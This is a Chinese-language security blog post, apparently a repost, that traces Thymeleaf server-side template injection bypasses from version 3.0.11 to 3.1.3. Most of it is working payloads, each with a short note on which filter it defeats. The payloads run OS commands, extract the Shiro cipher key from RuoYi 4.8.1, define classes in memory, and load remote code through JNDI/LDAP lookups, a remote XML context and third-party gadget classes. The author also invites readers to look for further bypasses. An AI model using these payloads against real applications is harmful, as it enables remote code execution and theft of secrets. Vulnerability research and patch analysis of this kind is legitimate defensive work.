文章总结: 本文详细梳理了ThymeleafSSTI漏洞的绕过历史,从3.0.11到3.1.3版本的演进过程。攻击者通过大小写绕过、特殊字符组合({)以及利用黑名单外的第三方类等方法持续突破防御。文章揭示了三个关键绕过点:{绕过${封锁、New绕过new封锁、使用黑名单外的类实现RCE,并探讨了未来可能的防御方向。
综合评分: 85
文章分类: 漏洞分析,WEB安全,安全开发
Thymeleaf SSTI bypass历史
哈拉少安全小队
2025年12月11日 18:12
广东
以下文章来源于珂技知识分享
,作者珂字辈
珂技知识分享
.
分享自己的安全技术,渗透实例,IT知识,拒绝转载,坚持原创。
某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
可以先看这两篇文章。
- =3.0.11
最早也是无限制的payload,不赘述
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.
注意一部分检测代码是在thymeleaf-spring5中而不是thymeleaf本体,所以如果要升级需要两者同时升级。
<dependency> <groupId>org.thymeleaf</groupId> <artifactId>thymeleaf</artifactId> <version>3.0.11.RELEASE</version></dependency><dependency> <groupId>org.thymeleaf</groupId> <artifactId>thymeleaf-spring5</artifactId> <version>3.0.11.RELEASE</version></dependency>
- =3.0.12
新增检测
org.thymeleaf.spring5.util.SpringStandardExpressionUtils.containsSpELInstantiationOrStatic()
首先不允许出现new(wen的倒叙),可以用New绕过。
其次T不能接(,可以用空格绕过。
合起来利用就是这样。
__${#response.addHeader("cmd",New java.util.Scanner(T (java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next())}__::.
- =3.0.14
检测升级
org.thymeleaf.spring5.util.SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam()
new的检测逻辑没变,还增加了一个param的检测,同样可以用大小写绕过。
org.thymeleaf.spring5.util.SpringStandardExpressionUtils.isPreviousStaticMarker()
对T的检测更加严格,考虑了空格情况,基本没有绕过可能,但有New可以用还能接受
org.thymeleaf.spring5.util.SpringRequestUtils.containsExpression()
对【$*#@~】要求后面不能接【{】,但是如果【$*#@~】后面是一个非空格符,就会将expInit置false,此时即使再接【{】也可以。换句话说就是说允许【$${】,这成了绕过关键。
__|$${#response.addHeader("cmd","test")}|__::.__|$${#response.addHeader("cmd",New java.util.Scanner(New ProcessBuilder("cmd","/c","whoami").start().getInputStream()).next())}|__::.
- =3.0.15
thymeleaf-spring5的检测逻辑无变化,但是在thymeleaf本体中增加了黑名单。
org.thymeleaf.util.ExpressionUtils.isTypeAllowed()
因此只需要绕过黑名单就行了,最简单且无危害的poc如下。
__|$${#response.addHeader("cmd",New java.lang.String("123"))}|__::.
简单反射
__|$${#response.addHeader("cmd","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec('whoami').getInputStream())"))}|__::.
在ruoyi 4.8.1中可以获得shiro key
__|$${#response.addHeader("cmd",#response.getClass().forName("org.springframework.util.Base64Utils").encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.
同理,spring的classloader(有长度限制)
__|$${"".getClass().forName("org.springframework.cglib.core.ReflectUtils").defineClass("test.CmdCalc","".getClass().forName("org.springframework.util.Base64Utils").decodeFromString("yv66XXXX"),New javax.management.loading.MLet(New java.net.URL[0],#response.getClass().getClassLoader())).newInstance()}|__::.
- =3.1.0
新增了安全措施.禁用默认的request/session/servletContext/response表达式对象。
org.thymeleaf.standard.expression.StandardExpressionObjectFactory.buildObject()
但还是可以靠#ctx取到,一直到3.1.3都可以
__|$${#ctx.getExchange().getNativeResponseObject().addHeader("cmd","test")}|__::.
黑名单也发生变化,黑白结合。
org.thymeleaf.util.ExpressionUtils
可能最初的思路是如果符合白名单,就直接return true,如果不符合,只能调用getName()。
但这里只要不在BlockedPackage中的类,都会直接放行,而且getClass()也会直接放行。也就是说白名单起到的用处不大,主要还是依靠黑名单。
因此很容易用黑名单以外的类绕过。
__|$${"".getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("New javax.naming.InitialContext().lookup('ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho')").getValue()}|__::.__|$${New org.springframework.context.support.ClassPathXmlApplicationContext("http://127.0.0.1:5667/1.xml")}|__::.
- =3.1.1
增加了黑名单,但对我们没有影响。
- =3.1.2
继续增加黑名单,前面的不能用了。可以看到黑名单上的基本都是thymeleaf+spring自己的依赖,所以它自己的依赖应该是没办法了,只能去找第三方依赖。
不过New和forName()一直都是可以用的。那么找一找我们的老朋友们就行。
__|$${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho")}|__::.__|$${New com.mchange.v2.c3p0.WrapperConnectionPoolDataSource().setUserOverridesAsString("HexAsciiSerializedMap:ACED0000000000;")}|__::.__|$${New org.yaml.snakeyaml.Yaml().load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho', autoCommit: true}")}|__::.
什么?你说你不知道这些老朋友们?那你还得多学。
- =3.1.3
增加了对Class的方法白名单限制,只能用getName/isAssignableFrom等,因此forName()不能用了,但还有New可以用,所以3.1.2的都能用。
- 未来
总结一下。
1,【$${】绕过了对【${】的封锁。
2,【T】【forName】都被封锁,仅剩【New】绕过【new】的封锁。
3,使用黑名单以外的一些可以RCE的类。
未来如果thymeleaf团队打算继续修复的话,肯定还是着手于这三点。那么这三点被修复了,还能继续bypass吗?
比如最简单的修复第二个,增加对new的大小写校验。也就是如果无法用【New】了,还能够RCE吗?
上面的paylaod都是一行代码执行的,而有些RCE没法只用一行代码,也就是必须要用到分号(比如反射调用私有方法),这个SSTI可以执行多行代码吗?
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:哈拉少安全小队 《Thymeleaf SSTI bypass历史》